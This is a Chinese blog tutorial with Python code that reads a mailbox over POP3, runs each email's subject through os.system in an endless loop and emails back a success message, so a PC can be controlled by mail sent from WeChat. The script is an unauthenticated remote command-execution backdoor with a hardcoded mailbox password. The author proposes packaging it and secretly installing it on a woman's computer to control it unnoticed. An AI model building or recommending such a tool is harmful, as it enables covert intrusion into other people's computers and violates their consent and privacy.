python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python选择排序算法实例总结
Jul 01 Python
Python快速排序算法实例分析
Nov 29 Python
python kmeans聚类简单介绍和实现代码
Feb 23 Python
Python读取excel中的图片完美解决方法
Jul 27 Python
基于python实现高速视频传输程序
May 05 Python
使用Python测试Ping主机IP和某端口是否开放的实例
Dec 17 Python
利用Python脚本实现自动刷网课
Feb 03 Python
Python中sys模块功能与用法实例详解
Feb 26 Python
基于Python共轭梯度法与最速下降法之间的对比
Apr 02 Python
使用jupyter notebook将文件保存为Markdown,HTML等文件格式
Apr 14 Python
python+adb+monkey实现Rom稳定性测试详解
Apr 23 Python
python ConfigParser库的使用及遇到的坑
Feb 12 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
如何使用脚本模仿登陆过程
2006/11/22 PHP
php mssql 时间格式问题
2009/01/13 PHP
php连接odbc数据源并保存与查询数据的方法
2014/12/24 PHP
php简单复制文件的方法
2016/05/09 PHP
jQuery的.live()和.die() 使用介绍
2011/09/10 Javascript
基于javascript滚动图片具体实现
2013/11/18 Javascript
JS利用cookie记忆当前位置的防刷新导航效果
2015/10/15 Javascript
JavaScript函数学习总结以及相关的编程习惯指南
2015/11/16 Javascript
基于HTML模板和JSON数据的JavaScript交互(移动端)
2016/04/06 Javascript
JavaScript ES6中export、import与export default的用法和区别
2017/03/14 Javascript
Vue 表单控件绑定的实现示例
2017/08/11 Javascript
vue form 表单提交后刷新页面的方法
2018/09/04 Javascript
微信小程序 网络通信实现详解
2019/07/23 Javascript
node.js开发辅助工具nodemon安装与配置详解
2020/02/06 Javascript
详解JavaScript 异步编程
2020/07/13 Javascript
解决vue项目中出现Invalid Host header的问题
2020/11/17 Javascript
Python守护进程和脚本单例运行详解
2017/01/06 Python
Django 开发环境与生产环境的区分详解
2019/07/26 Python
django-rest-swagger的优化使用方法
2019/08/29 Python
python实现人工智能Ai抠图功能
2019/09/05 Python
Python Selenium破解滑块验证码最新版(GEETEST95%以上通过率)
2021/01/29 Python
Expedia泰国:预订机票、酒店和旅游包(航班+酒店)
2016/09/27 全球购物
DBA数据库管理员JAVA程序员架构师必看
2016/02/07 面试题
什么是方法的重载
2013/06/24 面试题
应届毕业生个人自我评价
2013/09/20 职场文书
大学生个人求职口试自我评价
2014/02/16 职场文书
计算机毕业生自荐信范文
2014/03/23 职场文书
踏青活动策划方案
2014/08/19 职场文书
甘南现象心得体会
2014/09/11 职场文书
故宫导游词
2015/01/31 职场文书
通知范文怎么写
2015/04/16 职场文书
被告代理词范文
2015/05/25 职场文书
《叶问2》观后感
2015/06/15 职场文书
2015初一年级组工作总结
2015/07/24 职场文书
运动会跳远广播稿
2015/08/19 职场文书
python实现对doc、txt、xls等文档的读写操作
2022/04/02 Python